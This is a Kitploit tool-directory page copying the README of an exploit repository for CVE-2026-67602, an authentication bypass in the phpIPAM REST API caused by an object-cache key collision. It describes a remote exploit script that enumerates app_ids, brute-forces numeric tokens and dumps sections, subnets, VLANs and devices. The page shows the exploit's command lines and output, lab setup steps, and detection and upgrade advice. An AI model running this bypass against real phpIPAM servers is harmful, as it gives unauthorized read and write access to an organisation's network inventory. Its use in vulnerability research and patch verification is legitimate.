Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/hunt-benito/the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationAPI Security
GitHubhunt-benito/the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass

the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass

Exploit and PoC for CVE-2026-67602, an authentication bypass in phpIPAM REST API via object-cache key collision, including a logic-level PoC and remote exploit script.

View Repository
0 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-67602 — phpIPAM < 1.8.2 REST API Authentication Bypass

Unauthenticated authentication bypass in the phpIPAM REST API, caused by an object-cache key collision: the database row cached while resolving an API app's app_id satisfies the subsequent app_code (token) check whenever the supplied token equals the row's numeric id. The app's real secret is never compared.

  • CVE: CVE-2026-67602
  • CVSS 4.0: 9.3 Critical (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N)
  • CWE: CWE-706 (Use of Incorrectly-Resolved Name or Reference)
  • Affected: phpIPAM before 1.8.2, REST API apps with app_security = ssl_code
  • Fixed: phpIPAM 1.8.2 (commit d29728f)
  • Advisory: https://www.vulncheck.com/advisories/phpipam-authentication-bypass-via-rest-api-object-cache

Contents

FilePurpose
poc_cache_collision.phpLogic-level PoC. Runs the verbatim vulnerable (v1.8.1) and fixed (1.8.2) fetch_object/cache_check/cache_write implementations against a stubbed database and replays the exact fetch sequence of one HTTP request. No phpIPAM install needed.
exploit.pyRemote exploit against a live phpIPAM < 1.8.2 instance: enumerates valid app_ids (400 vs 401), brute-forces the numeric token (usually id 1-3), and optionally dumps sections/subnets/VLANs/devices.
docker-compose.ymlVulnerable lab: phpIPAM v1.8.1 + MariaDB, plain HTTP with IPAM_TRUST_X_FORWARDED=true so ssl_code apps can be tested via the X-Forwarded-Proto header.

1. Logic-level PoC (no server needed)

root@kitploit:~
$ php poc_cache_collision.php vulnerable
[1] fetch_object('api','app_id','client')  -> row id=2, app_security=ssl_code
[2] fetch_object('api','app_code','2') (phpipam-token header) -> OBJECT (cache hit!)
[3] $app_id == $app_temp->app_id  ->  AUTHENTICATED

$ php poc_cache_collision.php fixed
[2] fetch_object('api','app_code','2') (phpipam-token header) -> false
[3] Response: 401 Unauthorized — token rejected

2. Live repro in Docker

root@kitploit:~
$ docker compose up -d
  1. Browse to http://localhost:8080/, proceed to the installer (http://localhost:8080/install/), choose Automatic database installation, MySQL user root / password phpipamAdminRoot.
  2. Log in (admin / admin), set a new admin password when prompted.
  3. Create the API app: Administration → API Management → new:
    • Application name (app_id): client
    • Security: API code (ssl_code)
    • Permissions: Read / Write / Delete
  4. phpIPAM generates a random 32-character application code. You do not need to copy it — that is the point of the bug.

Run the exploit (the --xfp flag satisfies the HTTPS check via X-Forwarded-Proto, which the lab trusts):

root@kitploit:~
$ python3 exploit.py http://localhost:8080 --app-id client --xfp --dump
[*] Target: http://localhost:8080
[*] Brute-forcing numeric tokens (row ids) 1..64 for app_id='client'...
[+] AUTHENTICATION BYPASSED — phpipam-token: 1 is accepted
[+] The app's real 32-char app_code was never needed.
[+] GET /api/client/sections/ -> HTTP 200, 1 section(s) readable
[*] Dumping IPAM data...

3. Detection & remediation

  • Upgrade to phpIPAM 1.8.2 or later. The fix keys the object cache by search column as well as value (commit d29728f).
  • Until you upgrade, disable or reconfigure ssl_code API apps (other security modes are not affected by this cache collision).
  • Check your web server / phpIPAM logs for requests to /api/<app_id>/... carrying a purely numeric phpipam-token header — legitimate tokens are 32-character random strings, so numeric tokens are a high-fidelity IOC.
  • Rotate API application codes and user tokens if exposure is suspected.

Responsible use

This repository is for defensive research and authorized penetration testing only. Only run it against systems you own or have written permission to test.

Download Tool